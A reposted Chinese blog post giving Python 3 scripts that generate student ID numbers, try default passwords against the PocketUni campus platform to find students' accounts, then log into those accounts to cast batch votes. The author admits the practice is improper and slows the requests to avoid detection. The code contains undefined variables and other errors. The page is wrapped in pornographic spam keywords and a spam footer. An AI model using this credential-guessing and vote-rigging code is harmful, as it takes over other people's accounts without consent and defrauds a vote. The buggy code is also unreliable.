国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

python3登錄PU校園并批量投票

2019-11-08 01:44:49
字體:
來源:轉載
供稿:網友

前言:因為班級參加學校一些活動在PU上舉辦,但是又不想接受這種推廣,遂花幾天用python3寫了個自動投票,想學習的可以一起探討下,但是這個代碼恐怕不寫python的人也用不了。。。

寫博客主要為了給自己做筆記,省得老忘記實現過程

準備工作:學校各學院的學號加初始密碼,總有一些寶寶用初始密碼,而學號直接推倒就可得出。

要實現的東西:1、實現自動登錄,從大量學號中跑出可登錄的學號(使用初始密碼的用戶)并保存留用;2、利用這些學號根據投票活動選擇出要投票的學院的PID;3、模仿JS點擊事件投票。


鑒于這也不算很正當行為,防止給PU服務器造成負擔,爬蟲每天盡量慢盡量少的訪問PU服務器。。。也是防止被人發現刷票


批量生成學號:

# huoqunumber.py 用于創建number初始列表 # 保存在startnumber.txt里面import osfileObject = open("startnumber.txt", "a")numberIn = [15040100, 15040200, 15040500, 15040700, 15040900, 15040300, 15040400, 15040600, 15040800]for i in range(0, 1): for x in range(1,39): numberIn[i] = numberIn[i] + 1 numberOut = "B" + str(numberIn4[i]) fileObject.write(numberOut) # fileObject.write("/n")fileObject.close()

這部分主要就是I/O流的操作,number數組存放各學院班級的第一個學號,依次生成整個院的學號并保存待用。


爬蟲嘗試登陸PU并保存可以登錄的賬號:

#numbersaved.py 用于獲取可登錄number列表# 保存在numberSaved.txtimport requestsimport urllib.requestimport reimport configparserfrom pPRint import pprintfrom bs4 import BeautifulSoup # headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11'} # 瀏覽器頭headers = {'User-Agent': 'Mozilla/5.0 (iphone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/535.11 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/535.11'} #手機headers# 拿到不斷更新的hashdef getHash(): firstURL = "http://pocketuni.net/njupt/login/" request = urllib.request.Request(firstURL, headers=headers) response = urllib.request.urlopen(request) content = response.read() pattern = re.compile(r'name=/"__hash__/" value=/"(.*?)/"', re.S) __hash__ = pattern.findall(str(content, encoding = "utf-8")) return __hash__[0]# 登錄并返回cookieLendef create_session(loginURL, data): session = requests.session() login = session.post(loginURL, loginData, headers=headers) cookiesLen = len(login.cookies) print(login.cookies) return session, cookiesLenif __name__ == '__main__': count = 0 # 統計拿到多少可用賬號 loginUrl = "http://pocketuni.net/index.php?app=home&mod=Public&act=doLogin&school=njupt" file_object = open('B140413.txt', 'r') file_number = open("B140413login.txt", "a") file_nonumber = open("B140413nologin.txt", "a") school = "南京郵電大學" sid = "592" passWord = "123456" login = "登 錄" while True: # 按字節讀文件 try: number = file_object.read(9) print(type(number)) __hash__ = getHash() loginData = {'school':school, 'sid':sid, 'number':number, 'password':password, 'login':login, '__hash__':__hash__[0]} session,cookiesLen = create_session(loginUrl, loginData) print(cookiesLen) if cookiesLen == 0: # 通過判斷cookieLen得知是否登錄成功 print(cookiesLen) file_number.write(number + "/n") count += 1 except Exception as e: print(e) if not number: break file_object.close() file_number.close() print("登錄了" + str(count) + "個number!") 這里寫代碼片

登錄部分主要是從上一步驟中拿到的文件中按字符讀取學號,并帶上瀏覽器的頭headers向form表單post登錄所需信息

loginData = {'school':school, 'sid':sid, 'number':number, 'password':password, 'login':login, '__hash__':__hash__[0]}

難點一:其中hash是為了防止惡意爬取做的隨機數,每次刷新網頁就會更新,所以首先要解決的就是動態獲取hash的值,方法: 拿到登錄頁面的html并正則匹配出hash的值并返回,這個時候要注意的就是拿到的html是字節流,也就是所謂的亂碼,我們要進行轉換成str,然后才可以進行匹配,如果這里有疑惑可以查看此處:python3 decode與encode

http://www.cnblogs.com/tingyugetc/p/5727383.html

pattern = re.compile(r'name=/"__hash__/" value=/"(.*?)/"', re.S)__hash__ = pattern.findall(str(content, encoding = "utf-8"))

難點二:如何判斷是否登錄成功。最開始我以為只要拿到狀態碼200即是登錄成功,其實只要對方服務器進行回應那就是200了,所以這個方法顯然不能證明成功登陸了,后來發現登錄成功與否拿到的cookie的長度是不一樣的,當cookieLen=0的時候是成功登陸否則是不成功。

登錄:

session = requests.session()login = session.post(loginURL, loginData, headers=headers)

獲取cookieLen:

cookiesLen = len(login.cookies)

判斷一下cookieLen,若為0則證明可以登錄保存下來。


接下來是模仿JS發送投票請求(PU要求沒人投滿六個才算數)

# pachong.pyimport requestsimport urllib.requestimport reimport configparserfrom pprint import pprintfrom bs4 import BeautifulSoup # headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11'}headers = {'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/535.11 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/535.11'}def getHash(): firstURL = "http://pocketuni.net/njupt/login/" request = urllib.request.Request(firstURL, headers=headers) response = urllib.request.urlopen(request) content = response.read() pattern = re.compile(r'name=/"__hash__/" value=/"(.*?)/"', re.S) __hash__ = pattern.findall(str(content, encoding = "utf-8")) return __hash__[0]def create_session(loginURL, data): session = requests.session() login = session.post(loginURL, loginData, headers=headers) print(login.cookies) return session# 投票函數def toupiao(toupiaoUrl, session, toupiaoData): login = session.post(toupiaoUrl, toupiaoData, headers = headers) return login.cookiesif __name__ == '__main__': count = 0 loginUrl = "http://pocketuni.net/index.php?app=home&mod=Public&act=doLogin&school=njupt" file_object = open('numbersaved.txt', 'rb') school = "南京郵電大學" sid = "592" password = "111111" login = "登 錄" toupiaoUrl = "http://njupt.pocketuni.net/index.php?app=event&mod=Front&act=vote" pids = ["98359", "99982", "99957", "99420", "93253", "98681"] while True: try: number = file_object.read(9) __hash__ = getHash() loginData = {'school':school, 'sid':sid, 'number':number, 'password':password, 'login':login, '__hash__':__hash__[0]} session = create_session(loginUrl, loginData) for pid in pids: toupiaoData = {'id':idd, 'pid':pid} toupiao(toupiaoUrl, session, toupiaoData) except Exception as e: print(e) count+=1 if not number: break file_object.close() print("投票數:" + str(count))

此處發送登錄請求與huoqunumber.py是相同的,此處讀取的賬號列表是huoqunumber.py得到的可登錄列表。

向toupiaourl頁面的form表單帶headers發送數據:

login = session.post(toupiaoUrl, toupiaoData, headers = headers)

因為要投票滿6個院,所以遍歷pid,此處的pid則是學院的唯一標識,一定要找到自己的學院并右鍵檢查拿到pid放入列表中!

for pid in pids: toupiaoData = {'id':idd, 'pid':pid} toupiao(toupiaoUrl, session, toupiaoData)

重要的三個py文件已經貼出,使用順序:

huoqunumber.py --> numbersaved.py --> pachong.py

huoqunumber.py得到的初始化學號,numbersaved.py利用其得到可以登錄的學號(即初始化密碼沒有修改的同學),pachong.py利用numbersaved.py拿到的可登錄賬號登陸并進行投票。


結語:當時三天的糾結忘記的差不多了,就記得幾個重要的點,代碼也是隨時想到哪里寫到哪里凌亂的不行。。。


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 喀什市| 和林格尔县| 南川市| 原阳县| 石景山区| 工布江达县| 镇沅| 广水市| 五寨县| 威远县| 天长市| 永寿县| 盐山县| 吴桥县| 榆中县| 五台县| 昂仁县| 杭锦旗| 墨江| 呼图壁县| 利津县| 莱阳市| 毕节市| 交城县| 壤塘县| 安溪县| 玉门市| 中方县| 五台县| 霍州市| 蒙城县| 石渠县| 布拖县| 象州县| 灵川县| 阜康市| 霍城县| 元江| 正镶白旗| 罗山县| 宣威市|